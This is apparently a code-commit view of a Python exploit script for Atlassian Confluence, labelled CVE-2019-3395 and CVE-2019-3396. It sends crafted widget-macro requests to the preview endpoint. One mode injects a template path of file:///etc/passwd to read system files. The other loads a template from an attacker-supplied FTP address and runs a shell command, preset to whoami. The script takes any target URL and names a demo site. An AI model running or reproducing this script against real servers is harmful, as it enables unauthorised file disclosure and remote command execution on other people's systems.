1
+ #author:jiushi
2
+ #time:2019/4/12
3
+
4
+ import requests
5
+ import re
6
+
7
+ class Demon :
8
+ def __init__ (self ,headers ,url ,data ,headers2 ,data2 ):
9
+ self .headers = headers
10
+ self .url = url
11
+ self .data = data
12
+ self .headers2 = headers2
13
+ self .data2 = data2
14
+
15
+ def poc (self ):
16
+ exp_path = '{}{}' .format (str (self .url ).rstrip ('/' ),'/rest/tinymce/1/macro/preview' )
17
+ try :
18
+ rqt = requests .post (url = exp_path ,headers = self .headers ,data = self .data )
19
+ jg = re .findall ('.*[:].*[:].*' ,rqt .text )
20
+ if len (jg )> 0 :
21
+ print ('[+] Found CVE-2019-3395' )
22
+ for c in jg :
23
+ print (c )
24
+ else :
25
+ print ('[-] Not Found CVE-2019-3395' )
26
+ except Exception as r :
27
+ print ('[-] Error {}' .format (r ))
28
+ pass
29
+
30
+ def exec (self ):
31
+ exp_path = '{}{}' .format (str (self .url ).rstrip ('/' ),'/rest/tinymce/1/macro/preview' )
32
+ try :
33
+ rgt = requests .post (url = exp_path ,headers = self .headers2 ,data = self .data2 )
34
+ if rgt .status_code == 200 and "wiki-content" in rgt .text :
35
+ m = re .findall ('.*wiki-content">\n (.*)\n </div>\n ' , rgt .text , re .S )
36
+ print (m [0 ])
37
+ else :
38
+ print ('[-] Not Found CVE-2019-3396' )
39
+ except Exception as r :
40
+ print ('[-] Error {}' .format (r ))
41
+ pass
42
+
43
+ if __name__ == '__main__' :
44
+ print ('[+] Demon url:{}' .format ('https://confluence.tymaker.cn' ))
45
+ print ('[+] pid 1 CVE-2019-3395' )
46
+ print ('[+] pid 2 CVE-2019-3396' )
47
+ urls = input ('your url:' ).strip ()
48
+ filename = input ('attack ftp:' )
49
+ cmd = 'whoami'
50
+ headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36' ,
51
+ 'Referer' :'{}/login.action?os_destination=%2Findex.action&permissionViolation=true' .format (urls .rstrip ('/' )),
52
+ 'Content-Type' : 'application/json; charset=utf-8' }
53
+ datas = '{"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"file:///etc/passwd"},"body":""}}'
54
+
55
+ headers2 = {
56
+ "User-Agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" ,
57
+ "Referer" : str (urls ).strip ('/' ) + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" ,
58
+ "Content-Type" : "application/json; charset=utf-8"
59
+ }
60
+ data2 = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"http://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"%s","cmd":"%s"}}}' % (filename , cmd )
61
+ obj = Demon (headers = headers ,url = urls ,data = datas ,headers2 = headers2 ,data2 = data2 )
62
+ pid = input ('pid:' )
63
+ if pid == '1' :
64
+ obj .poc ()
65
+ elif pid == '2' :
66
+ obj .exec ()
0 commit comments